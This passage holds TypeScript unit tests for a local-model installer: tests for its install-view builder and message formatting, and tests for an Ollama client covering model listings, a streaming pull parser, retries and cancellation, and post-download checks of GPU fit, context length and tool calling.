expect(stalled.progress).toMatchObject({ bytesPerSecond: 0, mbPerSecond: '0' });
expect(stalled.progress).not.toHaveProperty('secondsLeft');
const noTotal = buildInstallView(
{ ...SAMPLE.installing, progress: { completedBytes: 0, totalBytes: 0 } },
{ ...LIVE, bytesPerSecond: 5 }
);
expect(noTotal).not.toHaveProperty('progress');
});
it('a job before its port was chosen has no port', () => {
const { runtime: _runtime, ...early } = SAMPLE.installing;
expect(buildInstallView(early, LIVE)).not.toHaveProperty('port');
});
it('failed: the sentence, its slots, the one next step, the model to try next, and the raw detail', () => {
const failed: LocalModelStateFile = {
...SAMPLE.failed,
step: 'verify',
error: {
code: 'no-tool-call',
vars: { model: 'Qwen3.6 35B-A3B' },
detail: 'finish_reason stop',
nextModelId: 'gpt-oss:20b',
},
};
const view = buildInstallView(failed, {
...LIVE,
nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' },
});
expect(view.state).toBe('failed');
expect(view.step).toBe('verify');
expect(view.error).toEqual({
code: 'no-tool-call',
message: {
text: '{model} loaded but did not call a tool, so a coding agent cannot work with it.',
vars: { model: 'Qwen3.6 35B-A3B' },
},
next: 'next-model',
nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' },
detail: 'finish_reason stop',
});
});
it('a failed job never says "Start": a code whose own next step is that says "Try again" there', () => {
const state: LocalModelStateFile = { ...SAMPLE.failed, error: { code: 'runtime-stopped', detail: 'ECONNREFUSED' } };
expect(buildInstallView(state, LIVE).error).toEqual({
code: 'runtime-stopped',
message: { text: 'The runtime keeps stopping, so Codeman no longer restarts it.' },
next: 'retry',
detail: 'ECONNREFUSED',
});
// Every next step a failed job is shown with is one its actions can carry out.
for (const code of Object.keys(LOCAL_MODEL_ERROR_NEXT) as LocalModelErrorCode[]) {
const next = buildInstallView({ ...SAMPLE.failed, error: { code } }, LIVE).error?.next;
expect(next, code).not.toBe('start');
}
});
it('a next model is named only for an error whose next step is another model', () => {
const view = buildInstallView(SAMPLE.failed, {
...LIVE,
nextModel: { modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' },
});
expect(view.error).toEqual({
code: 'pull-failed',
message: { text: LOCAL_MODEL_INSTALL_LABELS.errPullFailed },
next: 'retry',
detail: 'tls: bad record MAC',
});
});
it('installed: the facts of the Done line, the endpoint a session starts on, and no step', () => {
const view = buildInstallView(SAMPLE.installed, { ...LIVE, running: true, runtimeInstalled: true, digest: 'same' });
expect(view).toEqual({
state: 'installed',
running: true,
developerTools: 'present',
runtime: { version: '0.40.15', installed: true, downloadBytes: 0, downloadGb: '0.0', unpackedGb: '0.6' },
folder: '/Users/me/.codeman/local-model',
actions: ['start-session', 'stop', 'remove'],
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B' },
context: 131072,
cli: 'opencode',
cliLabel: 'OpenCode',
port: 11435,
loaded: { context: 131072, memoryBytes: 26_300_000_000, memoryGb: '26.3', onGpu: true },
endpointId: 'local-ollama',
});
});
it('installed: what blocks a session is on the view and the state stays installed', () => {
const view = buildInstallView(SAMPLE.installed, { ...LIVE, running: true, digest: 'changed' });
expect(view.state).toBe('installed');
expect(view.error?.code).toBe('model-changed');
expect(view.actions).toEqual(['stop', 'remove']);
});
it('a model that was not all on the GPU says so', () => {
const view = buildInstallView(
{ ...SAMPLE.installed, loaded: { ...LOADED, sizeVramBytes: 20_000_000_000 } },
{ ...LIVE, running: true }
);
expect(view.loaded?.onGpu).toBe(false);
});
it('every sentence it sends is one of the install labels', () => {
const sentences = new Set<string>(Object.values(LOCAL_MODEL_INSTALL_LABELS));
for (const code of Object.keys(LOCAL_MODEL_ERROR_LABELS) as LocalModelErrorCode[]) {
const error = buildInstallError(code, { vars: { model: 'M' } });
expect(sentences.has(error.message.text)).toBe(true);
expect(error.next).toBe(LOCAL_MODEL_ERROR_NEXT[code]);
}
});
});
describe('formatInstallMessage', () => {
it('fills the slots of a sentence', () => {
expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.errPortInUse, vars: { port: '11435' } })).toBe(
'Port 11435 is in use by another program.'
);
expect(
formatInstallMessage({
text: LOCAL_MODEL_INSTALL_LABELS.errContextNotApplied,
vars: { model: 'Qwen3.6 35B-A3B', actual: '32768', wanted: '131072' },
})
).toBe('Qwen3.6 35B-A3B loaded with a context of 32768 tokens instead of 131072.');
});
it('leaves a sentence without slots, and a slot without a value, as they are', () => {
expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.conflictJobRunning })).toBe(
'An install is already running.'
);
expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.errPortInUse })).toBe(
'Port {port} is in use by another program.'
);
// A slot name that is a member of every object is not a value.
expect(formatInstallMessage({ text: LOCAL_MODEL_INSTALL_LABELS.errPortInUse, vars: {} })).toContain('{port}');
});
});
File diff suppressed because it is too large. Load diff
+950
View File
@@ -0,0 +1,950 @@
/**
* @fileoverview Tests for src/local-model/ollama-client.ts: what Codeman asks its own model
* runtime, and the pure functions that read the answers.
*
* Laid out like the module:
*
* 1. The listings (`/api/version`, `/api/tags`, `/api/ps`, `/v1/models`, the delete), against
* the fake runtime, and what each answers when nothing listens.
* 2. The pull parser, pure: the two real line shapes fed in small pieces across line breaks, an
* error line, a resumed pull, and that it keeps no line.
* 3. `pullModel()` against the fake: the total it reports, progress, an error line and a cut
* stream that are retried, the cap of 5 retries, a model the registry does not have (no
* retry), a resumed pull, and Cancel.
* 4. The check after the pull: the two request bodies, the two judges (pure), and
* `verifyModel()` against the fake for every way it can end, the answer without a tool call
* among them.
*
* Port: none fixed (the fake runtime listens on 0).
*/
import { afterEach, describe, expect, it } from 'vitest';
import {
buildChatProbeRequest,
buildToolProbeRequest,
createPullParser,
deleteModel,
getRuntimeVersion,
judgeLoaded,
judgeToolProbe,
listOpenAiModels,
listRunning,
listTags,
PULL_RETRIES,
pullModel,
readModelDigest,
TOOL_PROBE_MAX_TOKENS,
verifyModel,
type OllamaPsModel,
type OllamaTarget,
type PullProgress,
} from '../src/local-model/ollama-client.js';
import {
DEFAULT_FAKE_MODEL,
freeLoopbackPort,
REAL_PULL_ERROR_LINE,
startFakeOllama,
type FakeOllama,
type FakeOllamaOptions,
} from './fixtures/fake-ollama.js';
const MODEL = DEFAULT_FAKE_MODEL.id;
const MODEL_BYTES = DEFAULT_FAKE_MODEL.bytes;
const CONTEXT = 131072;
let fake: FakeOllama | undefined;
afterEach(async () => {
await fake?.close();
fake = undefined;
});
/** Starts the fake and returns the target that points at it. */
async function runtime(options: FakeOllamaOptions = {}): Promise<{ fake: FakeOllama; target: OllamaTarget }> {
fake = await startFakeOllama(options);
return { fake, target: { baseUrl: fake.baseUrl } };
}
/** A target nothing listens on. */
async function deadTarget(): Promise<OllamaTarget> {
return { baseUrl: `http://127.0.0.1:${await freeLoopbackPort()}` };
}
/** No waiting between retries. */
const noSleep = async (): Promise<void> => undefined;
// ---------- 1. Listings ----------
describe('the listings', () => {
it('reads the version of a runtime', async () => {
const { target } = await runtime();
expect(await getRuntimeVersion(target)).toBe('0.40.15');
});
it('answers undefined for a port nothing listens on, and for a listener that is no runtime', async () => {
expect(await getRuntimeVersion(await deadTarget())).toBeUndefined();
// Something answers, but not with a version.
const notARuntime: OllamaTarget = {
baseUrl: 'http://127.0.0.1:1',
fetch: async () => new Response('<html>hello</html>', { status: 200 }),
};
expect(await getRuntimeVersion(notARuntime)).toBeUndefined();
const wrongShape: OllamaTarget = {
baseUrl: 'http://127.0.0.1:1',
fetch: async () => new Response(JSON.stringify({ version: 42 }), { status: 200 }),
};
expect(await getRuntimeVersion(wrongShape)).toBeUndefined();
const refused: OllamaTarget = {
baseUrl: 'http://127.0.0.1:1',
fetch: async () => new Response(JSON.stringify({ version: '0.40.15' }), { status: 503 }),
};
expect(await getRuntimeVersion(refused)).toBeUndefined();
});
it('lists the model on disk with what a Mac reports: size, digest, format, runner', async () => {
const { target } = await runtime({ installed: true });
expect(await listTags(target)).toEqual([
{
name: 'qwen3.6:35b-a3b',
size: 23_105_798_956,
digest: '0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba',
format: 'safetensors',
runner: 'mlx',
capabilities: ['completion', 'vision', 'tools', 'thinking'],
},
]);
expect(await readModelDigest(target, MODEL)).toBe(DEFAULT_FAKE_MODEL.digest);
expect(await readModelDigest(target, 'qwen3.5:9b')).toBeUndefined();
});
it('stores a digest in one form: lowercase hex without the prefix', async () => {
const target: OllamaTarget = {
baseUrl: 'http://127.0.0.1:1',
fetch: async () =>
new Response(JSON.stringify({ models: [{ name: MODEL, size: 1, digest: 'sha256:0CE5FF81' }] }), {
status: 200,
}),
};
expect(await readModelDigest(target, MODEL)).toBe('0ce5ff81');
});
it('lists nothing on an empty store, and reads the "data: null" of the OpenAI route as no model', async () => {
const { target } = await runtime();
expect(await listTags(target)).toEqual([]);
expect(await listRunning(target)).toEqual([]);
expect(await listOpenAiModels(target)).toEqual([]);
expect(await readModelDigest(target, MODEL)).toBeUndefined();
});
it('lists the model ids of the OpenAI route exactly as they are listed', async () => {
const { target } = await runtime({ installed: true });
expect(await listOpenAiModels(target)).toEqual(['qwen3.6:35b-a3b']);
});
it('lists a loaded model with its memory, the part on the GPU and its context', async () => {
const { fake: server, target } = await runtime({ installed: true });
expect(await listRunning(target)).toEqual([]);
server.state.loaded = true;
expect(await listRunning(target)).toEqual([
{
name: 'qwen3.6:35b-a3b',
size: 23_205_798_956,
sizeVram: 23_205_798_956,
contextLength: 131072,
digest: DEFAULT_FAKE_MODEL.digest,
},
]);
});
it('answers an empty list, never an exception, when nothing listens', async () => {
const target = await deadTarget();
expect(await listTags(target)).toEqual([]);
expect(await listRunning(target)).toEqual([]);
expect(await listOpenAiModels(target)).toEqual([]);
expect(await readModelDigest(target, MODEL)).toBeUndefined();
});
it('skips rows that are not models instead of failing on them', async () => {
const target: OllamaTarget = {
baseUrl: 'http://127.0.0.1:1',
fetch: async () =>
new Response(JSON.stringify({ models: [null, 'x', {}, { name: 'a:b' }, { model: 'c:d', size: -1 }] }), {
status: 200,
}),
};
expect(await listTags(target)).toEqual([
{ name: 'a:b', size: 0, digest: '' },
{ name: 'c:d', size: 0, digest: '' },
]);
// A row without a digest has none to compare.
expect(await readModelDigest(target, 'a:b')).toBeUndefined();
});
it('deletes a model, and calls a model that never was there gone too', async () => {
const { fake: server, target } = await runtime({ installed: true });
expect(await deleteModel(target, MODEL)).toBe(true);
expect(server.requests.at(-1)).toMatchObject({ method: 'DELETE', path: '/api/delete', body: { model: MODEL } });
expect(await listTags(target)).toEqual([]);
// The runtime answers 404 for it now.
expect(await deleteModel(target, MODEL)).toBe(true);
// No runtime: nothing was deleted, and it says so.
expect(await deleteModel(await deadTarget(), MODEL)).toBe(false);
});
it('gives up on a listing when the caller aborts', async () => {
const { target } = await runtime({ installed: true });
const controller = new AbortController();
controller.abort();
expect(await listTags(target, controller.signal)).toEqual([]);
expect(await getRuntimeVersion(target, controller.signal)).toBeUndefined();
});
});
// ---------- 2. The pull parser ----------
describe('createPullParser', () => {
const mlxLine = (completed: number): string =>
JSON.stringify({ status: 'pulling model', digest: 'sha256:model', total: MODEL_BYTES, completed });
it('adds up the line shape of an MLX build', () => {
const parser = createPullParser();
parser.push('{"status":"pulling manifest"}\n');
expect(parser.snapshot()).toEqual({
completedBytes: 0,
totalBytes: 0,
status: 'pulling manifest',
succeeded: false,
lines: 1,
});
parser.push(`${mlxLine(0)}\n${mlxLine(6_200_000_000)}\n`);
expect(parser.snapshot()).toMatchObject({ completedBytes: 6_200_000_000, totalBytes: 23_105_798_956, lines: 3 });
parser.push(`${mlxLine(MODEL_BYTES)}\n{"status":"writing manifest"}\n{"status":"success"}\n`);
parser.end();
expect(parser.snapshot()).toEqual({
completedBytes: 23_105_798_956,
totalBytes: 23_105_798_956,
status: 'success',
succeeded: true,
lines: 6,
});
});
it('reads the same stream whatever the size of the pieces, also across line breaks', () => {
const stream =
['{"status":"pulling manifest"}', mlxLine(0), mlxLine(1_000), mlxLine(999_999_999), mlxLine(MODEL_BYTES)].join(
'\n'
) + '\n{"status":"writing manifest"}\n{"status":"success"}\n';
const whole = createPullParser();
whole.push(stream);
whole.end();
const expected = whole.snapshot();
expect(expected).toMatchObject({ succeeded: true, completedBytes: MODEL_BYTES, lines: 7 });
for (const size of [1, 2, 3, 5, 7, 13, 64, 1000]) {
const parser = createPullParser();
for (let at = 0; at < stream.length; at += size) parser.push(stream.slice(at, at + size));
parser.end();
expect(parser.snapshot(), `pieces of ${size}`).toEqual(expected);
}
// And as bytes, one at a time: what a socket may really deliver.
const bytes = new TextEncoder().encode(stream);
const parser = createPullParser();
for (const byte of bytes) parser.push(Uint8Array.of(byte));
parser.end();
expect(parser.snapshot()).toEqual(expected);
});
it('survives a character of several bytes that is split between two pieces', () => {
const bytes = new TextEncoder().encode('{"status":"lädt Manifest ✓"}\n{"status":"success"}\n');
for (let cut = 1; cut < bytes.length; cut++) {
const parser = createPullParser();
parser.push(bytes.subarray(0, cut));
parser.push(bytes.subarray(cut));
parser.end();
expect(parser.snapshot(), `cut at ${cut}`).toMatchObject({ succeeded: true, lines: 2 });
}
const parser = createPullParser();
parser.push(bytes.subarray(0, 14));
parser.push(bytes.subarray(14));
expect(parser.snapshot().lines).toBe(2);
});
it('adds up the layers of a GGUF build, each announced without "completed" first', () => {
const parser = createPullParser();
const big = { status: 'pulling c5396e06af29', digest: 'sha256:c5396e06af29aaaa', total: 397_807_936 };
const small = { status: 'pulling 66b9ea09bd5b', digest: 'sha256:66b9ea09bd5bbbbb', total: 68 };
parser.push(`${JSON.stringify(big)}\n`);
// Known, nothing downloaded yet.
expect(parser.snapshot()).toMatchObject({ totalBytes: 397_807_936, completedBytes: 0 });
parser.push(`${JSON.stringify({ ...big, completed: 100_000_000 })}\n`);
parser.push(`${JSON.stringify(small)}\n`);
// The total grows when a new layer appears; a line without "completed" keeps what was seen.
parser.push(`${JSON.stringify(big)}\n`);
expect(parser.snapshot()).toMatchObject({ totalBytes: 397_808_004, completedBytes: 100_000_000 });
parser.push(`${JSON.stringify({ ...big, completed: 397_807_936 })}\n`);
parser.push(`${JSON.stringify({ ...small, completed: 68 })}\n`);
parser.push('{"status":"verifying sha256 digest"}\n{"status":"writing manifest"}\n{"status":"success"}\n');
expect(parser.snapshot()).toEqual({
completedBytes: 397_808_004,
totalBytes: 397_808_004,
status: 'success',
succeeded: true,
lines: 9,
});
});
it('reads a resumed pull from where it starts, not from zero', () => {
const parser = createPullParser();
parser.push(`{"status":"pulling manifest"}\n${mlxLine(11_000_000_000)}\n`);
expect(parser.snapshot()).toMatchObject({ completedBytes: 11_000_000_000, totalBytes: MODEL_BYTES });
});
it('keeps the text of an error line, the real one included', () => {
const parser = createPullParser();
parser.push(`{"status":"pulling manifest"}\n${mlxLine(5)}\n${REAL_PULL_ERROR_LINE}\n`);
parser.end();
expect(parser.snapshot()).toEqual({
completedBytes: 5,
totalBytes: MODEL_BYTES,
status: 'pulling model',
succeeded: false,
error: 'max retries exceeded: local error: tls: bad record MAC',
lines: 3,
});
// The first error stays.
parser.push('{"error":"another"}\n');
expect(parser.snapshot().error).toBe('max retries exceeded: local error: tls: bad record MAC');
});
it('reads a last line that has no line break only when the body ends', () => {
const parser = createPullParser();
parser.push('{"status":"success"}');
expect(parser.snapshot()).toMatchObject({ succeeded: false, lines: 0 });
parser.end();
expect(parser.snapshot()).toMatchObject({ succeeded: true, lines: 1 });
});
it('skips a line that is not JSON and still counts it; a blank line is no line', () => {
const parser = createPullParser();
parser.push('not json\n\n \n[1,2]\n"text"\nnull\n{"status":"success"}\n');
expect(parser.snapshot()).toEqual({
completedBytes: 0,
totalBytes: 0,
status: 'success',
succeeded: true,
lines: 5,
});
});
it('never lets "completed" pass "total", and ignores sizes that are no byte counts', () => {
const parser = createPullParser();
parser.push('{"status":"pulling a","digest":"sha256:a","total":100,"completed":250}\n');
parser.push('{"status":"pulling b","digest":"sha256:b","total":-5,"completed":1}\n');
parser.push('{"status":"pulling c","digest":"sha256:c","total":"100","completed":1}\n');
expect(parser.snapshot()).toMatchObject({ completedBytes: 100, totalBytes: 100 });
});
it('keeps no line: a million progress lines leave it as small as ten', () => {
// What it holds is one entry per layer and the unfinished line. Proven by its answers: the
// totals are those of the LAST line of each layer, and the count is every line.
const parser = createPullParser();
const lines = 200_000;
let block = '';
for (let i = 1; i <= lines; i++) {
block += `${mlxLine(i * 1000)}\n`;
if (i % 5000 === 0) {
parser.push(block);
block = '';
}
}
parser.end();
expect(parser.snapshot()).toEqual({
completedBytes: lines * 1000,
totalBytes: MODEL_BYTES,
status: 'pulling model',
succeeded: false,
lines,
});
});
it('drops a "line" that never ends instead of buffering it', () => {
const parser = createPullParser();
// Three megabytes without a line break, then the stream goes on normally.
for (let i = 0; i < 3; i++) parser.push('x'.repeat(1024 * 1024));
parser.push('tail of the endless line\n{"status":"success"}\n');
expect(parser.snapshot()).toMatchObject({ succeeded: true, lines: 2 });
});
});
// ---------- 3. pullModel ----------
describe('pullModel', () => {
it('pulls the model and reports the total of the pull itself', async () => {
const { fake: server, target } = await runtime();
const seen: PullProgress[] = [];
const result = await pullModel(target, MODEL, { onProgress: (progress) => seen.push(progress) });
expect(result).toEqual({ ok: true, totalBytes: 23_105_798_956 });
expect(server.state.installed).toBe(true);
expect(server.requests.filter((r) => r.path === '/api/pull')).toEqual([
expect.objectContaining({ method: 'POST', body: { model: MODEL, stream: true } }),
]);
// The last report is the finished pull, and no report runs backwards.
expect(seen.at(-1)).toMatchObject({ completedBytes: MODEL_BYTES, totalBytes: MODEL_BYTES });
for (let i = 1; i < seen.length; i++) {
expect(seen[i].completedBytes).toBeGreaterThanOrEqual(seen[i - 1].completedBytes);
}
for (const progress of seen) expect(progress.totalBytes).toBe(MODEL_BYTES);
});
it('adds up the layers of a GGUF pull to the same total', async () => {
const { target } = await runtime({ pull: { shape: 'gguf', progressLines: 6 } });
expect(await pullModel(target, MODEL)).toEqual({ ok: true, totalBytes: MODEL_BYTES });
});
it('reports a speed from the clock it is given', async () => {
const { target } = await runtime({ pull: { progressLines: 8, lineDelayMs: 5 } });
const seen: PullProgress[] = [];
let clock = 0;
const result = await pullModel(target, MODEL, {
onProgress: (progress) => seen.push(progress),
// One second passes between two looks at the clock.
now: () => (clock += 1000),
});
expect(result.ok).toBe(true);
const speeds = seen.flatMap((progress) => (progress.bytesPerSecond === undefined ? [] : [progress.bytesPerSecond]));
expect(speeds.length).toBeGreaterThan(0);
for (const speed of speeds) {
expect(Number.isInteger(speed)).toBe(true);
expect(speed).toBeGreaterThanOrEqual(0);
}
// The first report has nothing to compare with.
expect(seen[0].bytesPerSecond).toBeUndefined();
expect(Math.max(...speeds)).toBeGreaterThan(0);
});
it('starts again after an error line, and the new pull continues where the last one stopped', async () => {
const { fake: server, target } = await runtime({
pull: { fail: 'error-line', failTimes: 2, failAfterLines: 10, progressLines: 20 },
});
const waits: number[] = [];
const firstOfEachPull: number[] = [];
let last = -1;
const result = await pullModel(target, MODEL, {
sleep: async (ms) => {
waits.push(ms);
last = -1;
},
onProgress: (progress) => {
if (last === -1) firstOfEachPull.push(progress.completedBytes);
last = progress.completedBytes;
},
});
expect(result).toEqual({ ok: true, totalBytes: MODEL_BYTES });
// Two failures, then the one that succeeded.
expect(server.state.pulls).toBe(3);
// It waits before each retry, longer every time.
expect(waits).toEqual([1000, 2000]);
// The second and third pull do not start at zero.
expect(firstOfEachPull).toHaveLength(3);
expect(firstOfEachPull[1]).toBeGreaterThan(0);
expect(firstOfEachPull[2]).toBeGreaterThan(firstOfEachPull[1]);
});
it('starts again after a stream that was cut without a word', async () => {
const { fake: server, target } = await runtime({ pull: { fail: 'cut', failTimes: 1 } });
expect(await pullModel(target, MODEL, { sleep: noSleep })).toEqual({ ok: true, totalBytes: MODEL_BYTES });
expect(server.state.pulls).toBe(2);
});
it('gives up after 5 retries, with the error the runtime gave', async () => {
expect(PULL_RETRIES).toBe(5);
const { fake: server, target } = await runtime({ pull: { fail: 'error-line' } });
const waits: number[] = [];
const result = await pullModel(target, MODEL, { sleep: async (ms) => void waits.push(ms) });
expect(result).toEqual({
ok: false,
code: 'pull-failed',
detail: 'max retries exceeded: local error: tls: bad record MAC',
});
// The first pull and five more.
expect(server.state.pulls).toBe(6);
expect(waits).toEqual([1000, 2000, 4000, 8000, 16000]);
expect(server.state.installed).toBe(false);
});
it('gives up on a stream that is cut every time, and says that it ended early', async () => {
const { fake: server, target } = await runtime({ pull: { fail: 'cut' } });
const result = await pullModel(target, MODEL, { sleep: noSleep, retries: 2 });
expect(result).toMatchObject({ ok: false, code: 'pull-failed' });
expect((result as { detail?: string }).detail).toBeTruthy();
expect(server.state.pulls).toBe(3);
});
it('does not retry when 0 retries are asked for, and falls back to 5 for a nonsense count', async () => {
const { fake: server, target } = await runtime({ pull: { fail: 'error-line' } });
expect(await pullModel(target, MODEL, { sleep: noSleep, retries: 0 })).toMatchObject({ code: 'pull-failed' });
expect(server.state.pulls).toBe(1);
await pullModel(target, MODEL, { sleep: noSleep, retries: -3 });
expect(server.state.pulls).toBe(1 + 6);
});
it('does not ask again for a model the registry does not have', async () => {
const { fake: server, target } = await runtime({ pull: { fail: 'not-found' } });
const result = await pullModel(target, MODEL, { sleep: noSleep });
expect(result).toEqual({
ok: false,
code: 'model-not-found',
detail: 'pull model manifest: file does not exist',
});
expect(server.state.pulls).toBe(1);
});
it('does not ask again when the disk is full', async () => {
const target: OllamaTarget = {
baseUrl: 'http://127.0.0.1:1',
fetch: async () =>
new Response(
'{"status":"pulling manifest"}\n{"error":"write /models/blobs/sha256-abc-partial: no space left on device"}\n',
{ status: 200 }
),
};
let asked = 0;
const counting: OllamaTarget = {
...target,
fetch: (...args) => {
asked += 1;
return (target.fetch as typeof fetch)(...args);
},
};
expect(await pullModel(counting, MODEL, { sleep: noSleep })).toMatchObject({ ok: false, code: 'disk-full' });
expect(asked).toBe(1);
});
it('retries, then fails, when no runtime answers at all', async () => {
const waits: number[] = [];
const result = await pullModel(await deadTarget(), MODEL, { sleep: async (ms) => void waits.push(ms), retries: 2 });
expect(result).toMatchObject({ ok: false, code: 'pull-failed' });
expect(waits).toHaveLength(2);
});
it('continues a pull that an earlier run left unfinished', async () => {
const { target } = await runtime({ pull: { resumeFrom: 11_000_000_000 } });
const seen: number[] = [];
const result = await pullModel(target, MODEL, { onProgress: (progress) => seen.push(progress.completedBytes) });
expect(result).toEqual({ ok: true, totalBytes: MODEL_BYTES });
// The first figure the window shows is where the earlier run stopped.
expect(seen[0]).toBeGreaterThanOrEqual(11_000_000_000);
});
it('reports the size of a model that was complete already, when the pull names no layer', async () => {
// A runtime that answers "success" at once: the size is what it lists for the model.
const { fake: server } = await runtime({ installed: true });
const target: OllamaTarget = {
baseUrl: server.baseUrl,
fetch: async (input, init) =>
String(input).endsWith('/api/pull')
? new Response('{"status":"pulling manifest"}\n{"status":"success"}\n', { status: 200 })
: fetch(input, init),
};
expect(await pullModel(target, MODEL)).toEqual({ ok: true, totalBytes: MODEL_BYTES });
});
it('stops the download when the caller cancels, and does not start again', async () => {
const { fake: server, target } = await runtime({ pull: { progressLines: 200, lineDelayMs: 10 } });
const controller = new AbortController();
const seen: PullProgress[] = [];
const result = await pullModel(target, MODEL, {
signal: controller.signal,
sleep: noSleep,
onProgress: (progress) => {
seen.push(progress);
controller.abort();
},
});
expect(result).toEqual({ ok: false, code: 'cancelled' });
expect(seen).toHaveLength(1);
expect(server.state.pulls).toBe(1);
expect(server.state.installed).toBe(false);
// Pulling again is the resume: it starts where the cancelled one stopped.
server.switches.pull.lineDelayMs = 0;
const again: number[] = [];
expect(await pullModel(target, MODEL, { onProgress: (p) => again.push(p.completedBytes) })).toEqual({
ok: true,
totalBytes: MODEL_BYTES,
});
expect(again[0]).toBeGreaterThan(0);
});
it('answers cancelled at once for a signal that is already aborted', async () => {
const { fake: server, target } = await runtime();
const controller = new AbortController();
controller.abort();
expect(await pullModel(target, MODEL, { signal: controller.signal })).toEqual({ ok: false, code: 'cancelled' });
expect(server.state.pulls).toBe(0);
});
it('calls a cancel a cancel also on its last try, never a failed download', async () => {
// With no retry left, the cut stream of an abort must not read as "the download keeps stopping".
const { fake: server, target } = await runtime({ pull: { progressLines: 200, lineDelayMs: 10 } });
const controller = new AbortController();
const result = await pullModel(target, MODEL, {
signal: controller.signal,
retries: 0,
onProgress: () => controller.abort(),
});
expect(result).toEqual({ ok: false, code: 'cancelled' });
expect(server.state.pulls).toBe(1);
});
it('does not let a progress callback that throws fail the download', async () => {
const { fake: server, target } = await runtime();
let called = 0;
const result = await pullModel(target, MODEL, {
sleep: noSleep,
onProgress: () => {
called += 1;
throw new Error('the window is gone');
},
});
expect(called).toBeGreaterThan(0);
expect(result).toEqual({ ok: true, totalBytes: MODEL_BYTES });
expect(server.state.pulls).toBe(1);
});
it('answers with a result, not an exception, when its own clock throws', async () => {
const { target } = await runtime();
const result = await pullModel(target, MODEL, {
sleep: noSleep,
retries: 1,
onProgress: () => undefined,
now: () => {
throw new Error('no clock');
},
});
expect(result).toEqual({ ok: false, code: 'pull-failed', detail: 'no clock' });
});
});
// ---------- 4. The check after the pull ----------
describe('the probe requests', () => {
it('builds a tiny chat with reasoning off', () => {
expect(buildChatProbeRequest(MODEL)).toEqual({
model: MODEL,
messages: [{ role: 'user', content: 'Reply with the single word: ready' }],
reasoning_effort: 'none',
max_tokens: 16,
temperature: 0,
stream: false,
});
expect(buildChatProbeRequest(MODEL)).not.toHaveProperty('tools');
});
it('builds a tool probe with a tools array, reasoning off and 1024 tokens', () => {
expect(TOOL_PROBE_MAX_TOKENS).toBe(1024);
const request = buildToolProbeRequest(MODEL) as {
model: string;
messages: { role: string; content: string }[];
tools: { type: string; function: { name: string; parameters: { type: string; required: string[] } } }[];
reasoning_effort: string;
max_tokens: number;
stream: boolean;
};
expect(request.model).toBe(MODEL);
expect(request.reasoning_effort).toBe('none');
expect(request.max_tokens).toBe(1024);
expect(request.stream).toBe(false);
expect(request.tools.map((tool) => [tool.type, tool.function.name])).toEqual([
['function', 'read_file'],
['function', 'write_file'],
['function', 'run_command'],
]);
for (const tool of request.tools) {
expect(tool.function.parameters.type).toBe('object');
expect(tool.function.parameters.required.length).toBeGreaterThan(0);
}
// The task can only be done with a tool.
expect(request.messages.at(-1)).toEqual({
role: 'user',
content: 'Read the file README.md and tell me what it says.',
});
// Nothing forces the call: the model has to decide to make it.
expect(request).not.toHaveProperty('tool_choice');
});
});
describe('judgeLoaded', () => {
const loaded = (overrides: Partial<OllamaPsModel> = {}): OllamaPsModel => ({
name: MODEL,
size: 23_205_798_956,
sizeVram: 23_205_798_956,
contextLength: CONTEXT,
...overrides,
});
it('passes a model that is all on the GPU at the chosen context', () => {
expect(judgeLoaded([loaded()], MODEL, CONTEXT)).toEqual({
ok: true,
loaded: { context: 131072, sizeBytes: 23_205_798_956, sizeVramBytes: 23_205_798_956 },
});
// Another loaded model beside it does not matter.
expect(judgeLoaded([loaded({ name: 'other:1', contextLength: 4096 }), loaded()], MODEL, CONTEXT).ok).toBe(true);
});
it('answers load-failed when the model is not listed', () => {
expect(judgeLoaded([], MODEL, CONTEXT)).toMatchObject({ ok: false, code: 'load-failed' });
expect(judgeLoaded([loaded({ name: 'other:1' })], MODEL, CONTEXT)).toMatchObject({
ok: false,
code: 'load-failed',
});
expect(judgeLoaded([loaded({ size: 0, sizeVram: 0 })], MODEL, CONTEXT)).toMatchObject({
ok: false,
code: 'load-failed',
});
});
it('answers does-not-fit when part of the model is not on the GPU', () => {
const judged = judgeLoaded([loaded({ sizeVram: 20_000_000_000 })], MODEL, CONTEXT);
expect(judged).toEqual({
ok: false,
code: 'does-not-fit',
detail: '20.0 of 23.2 GB of the model are on the GPU',
});
// One byte is enough.
expect(judgeLoaded([loaded({ sizeVram: 23_205_798_955 })], MODEL, CONTEXT)).toMatchObject({ code: 'does-not-fit' });
expect(judgeLoaded([loaded({ sizeVram: 0 })], MODEL, CONTEXT)).toMatchObject({ code: 'does-not-fit' });
});
it('answers context-not-applied when the runtime loaded another context', () => {
expect(judgeLoaded([loaded({ contextLength: 32768 })], MODEL, CONTEXT)).toEqual({
ok: false,
code: 'context-not-applied',
detail: 'The runtime reports a context of 32768 tokens, not 131072',
});
// A larger one is not the chosen one either.
expect(judgeLoaded([loaded({ contextLength: 262144 })], MODEL, CONTEXT)).toMatchObject({
code: 'context-not-applied',
});
});
it('looks at the GPU before the context', () => {
expect(judgeLoaded([loaded({ sizeVram: 1, contextLength: 4096 })], MODEL, CONTEXT)).toMatchObject({
code: 'does-not-fit',
});
});
});
describe('judgeToolProbe', () => {
/** An answer of `/v1/chat/completions` with this message and finish reason. */
const answer = (message: Record<string, unknown>, finishReason: string): unknown => ({
id: 'chatcmpl-1',
object: 'chat.completion',
choices: [{ index: 0, message: { role: 'assistant', ...message }, finish_reason: finishReason }],
});
const call = (argumentsValue: unknown, name: unknown = 'read_file'): Record<string, unknown> => ({
id: 'call_1',
index: 0,
type: 'function',
function: { name, arguments: argumentsValue },
});
it('passes on a tool call whose arguments parse as a JSON object', () => {
expect(
judgeToolProbe(200, answer({ content: '', tool_calls: [call('{"path":"README.md"}')] }, 'tool_calls'))
).toEqual({ ok: true });
// Arguments that are an object already, and an empty object, are arguments too.
expect(judgeToolProbe(200, answer({ tool_calls: [call({ path: 'README.md' })] }, 'tool_calls'))).toEqual({
ok: true,
});
expect(judgeToolProbe(200, answer({ tool_calls: [call('{}')] }, 'tool_calls'))).toEqual({ ok: true });
// The finish reason is not what decides: the call is.
